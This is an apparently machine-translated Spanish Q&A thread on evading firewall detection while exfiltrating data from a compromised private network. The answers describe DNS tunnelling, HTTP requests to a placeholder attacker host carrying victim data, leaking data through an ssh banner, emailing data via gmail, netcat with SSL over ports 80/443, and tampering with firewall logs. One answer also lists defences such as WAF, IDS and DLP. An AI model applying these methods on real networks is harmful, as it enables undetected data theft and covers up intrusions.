Obtener datos sin detección de Firewall

0

Estaba hojeando algunas preguntas de seguridad cibernética y me encontré con una pregunta que seguía pensando en mi mente, así que pensé que tal vez solo preguntaba aquí.

La pregunta es:

  

¿Qué es una forma de obtener datos de una red privada que hackeaste sin ser detectado? La red tiene una puerta de enlace NAT (que incluye un firewall) para la Internet pública.

Estaba pensando: como hay un firewall en su lugar, la mayoría de las conexiones entrantes probablemente serán registradas o bloqueadas. Por lo tanto, para obtener datos, intentaría iniciar la transmisión desde la red a la Internet pública. Además, como el sistema ya está pirateado, podría guardar el registro del Firewall antes de transmitir datos y restaurarlos después de que se complete la transacción del archivo de copia.

¿Mi idea es completa, o hay una respuesta clara a esto? Esto es solo por curiosidad, no quiero motivar a alguien para que describa las habilidades detalladas de piratería ahora, solo un enfoque general sería genial.

    
pregunta Tom 27.05.2018 - 05:53
fuente

3 respuestas

1

En mi opinión, cuando se trata de la extracción de datos, debería abordar la situación desde dos:

  • Red pública (nuestra puerta de enlace NAT (incluido el firewall))
  • Red interna (VLAN internas, la red interna)

En general, la puerta de enlace NAT (incluido el firewall) no hará nada (nada, espacio en blanco, solo IPs y puertos .. ¡hurra!) para proteger los datos en cuanto a los puertos abiertos (reenviados) con sus respectivos servicios o aplicaciones. vulnerable.

Si tiene en su red una aplicación vulnerable con la ejecución remota de código y la expone al mundo, entonces está listo. Es solo una cuestión de tiempo hasta que un atacante con conocimiento del RCE extraiga datos de ese servidor y otros activos de la red interna (pivotando a través del primer servidor web).

Más aún, una puerta de enlace NAT (que incluye un firewall) no lo protegerá de Reverse Shells u otros medios de exfiltración de datos de la red interna.

También en el caso de una aplicación web, ni siquiera desea preocuparse por los registros, ya que solo se registraría el acceso (prohibido o no). Su aplicación web se expone al mundo, gracias y sé que me veré como un usuario legítimo cuando envíe la carga útil en la medida en que no esté enviando muchas solicitudes por segundo.

En una breve respuesta, en mi opinión:

  • La mejor manera de detectar un ataque en una aplicación web es usar un WAF.
  • La mejor manera de detectar un ataque en algo es usar un IPS / IDS.
  • La mejor manera de proteger la fuga de datos es tener un DLP y un IDS en el lvl de la red con ciertos dispositivos host o en servidores.
  • La mejor manera de restringir y administrar el acceso a su red es usar un firewall.

Algunas formas difíciles de extraer datos de una red interna o de servidores de aplicaciones internos:

  • Sobre el puerto 0 (sí, es un puerto)
  • Sobre solicitudes web (solicito attacker.ex / data? = this_is_the_victim_data)
  • Sobre solicitudes de DNS (solicito this_is_the_victim_data.attacker.ex)
  • A través de VPN o proxy (debería ser su última opción, ya que puede detectarse fácilmente)
  • Sobre algunos servicios públicos y legítimos (aplicaciones web, ftps, ftp, etc.)
  • Al reemplazar un servicio legítimo (por ejemplo, reemplazar el servicio ssh en un servidor público comprometido y extraer datos a través del banner ssh generalmente ignorado)
  • El cielo es el límite aquí ...

Sí, para: "Además, como el sistema ya está pirateado, podría guardar el registro del Firewall antes de transmitir datos y restaurarlos después de que se complete la transacción del archivo de copia".

"¿Mi idea es completa, o hay una respuesta clara a esto?" Es difícil reemplazar un registro pero se hizo antes, lo he hecho antes.

No agreguemos todas las formas en que un firewall no puede ser registrado o bloqueado y mantenerlo para un día mejor.

    
respondido por el Lucian Nitescu 27.05.2018 - 08:14
fuente
1

Sin más contexto para la pregunta, es muy difícil sugerir algo concreto. "hackeado" implica que tiene algún tipo de presencia dentro de la red y, presumiblemente, no tiene alcance en lo que respecta a la cuestión de la detección, por lo que, salvo en el caso de que haya algún malware que se ejecute de forma autónoma dentro de la red, es difícil concebir qué tipo de compromiso que ha logrado que no le permite realizar una exfiltración de datos.

Pero dejando eso a un lado por ahora, necesita un mecanismo que no esté bloqueado por los controles existentes, no detectado por los controles existentes y, con suerte, no registrado por los controles existentes. Como las otras respuestas dicen que "NAT" en sí no significa nada, podría significar que solo las direcciones IP específicas tienen asignaciones a direcciones externas. Podría significar que todo está enmascarado. Podría significar que el reenvío de puertos está permitido.

Un enfoque que cumple muchas casillas sería el DNS. Utiliza UDP, por lo que es fácil falsificar una dirección. La infraestructura existente podría ser cooptada para facilitar la operación. OTOH, la codificación de datos en las búsquedas de DNS no es la solución más eficiente en términos de rendimiento. Los mejores dispositivos perimetrales detectarán este tipo de actividad a menos que realmente se acelere la tasa.

Otro enfoque para hacer que su tráfico se vea como el tráfico esperado sería hacer que su malware se conecte a gmail / hotmail a través de TLS (verificando el certificado) y simplemente envíe los datos por correo electrónico.

    
respondido por el symcbean 26.06.2018 - 17:27
fuente
0

Así que la respuesta de Lucian es bastante detallada, solo planeo agregarla aquí.

Hay varias maneras de obtener sus datos exfiltrados sin ser detectado por un firewall.

La mayoría de los firewalls asumen que los clientes en su red necesitan acceso a la web. Eso significa que podrían estar baleando a través de los puertos 80 y 443. Así que cuando vuelvas a filtrar a tu máquina atacante, hazlo por esos puertos.

Otro truco es usar netcat y no nc . netcat tiene una opción ssl. Por lo tanto, puede crear una conexión segura y evitar cualquier inspección profunda de paquetes que pueda estar realizando la red.

Si tienes una conexión ssh, puedes hacer un túnel de esa manera. Esta sería la opción más segura.

Las renuncias son:

  1. No soy un probador de penetración profesional, así que estoy seguro de que falté mucho.
  2. Su método de exfiltración dependerá en gran medida de su objetivo y de la red.
respondido por el Anthony Russell 26.06.2018 - 15:50
fuente

Lea otras preguntas en las etiquetas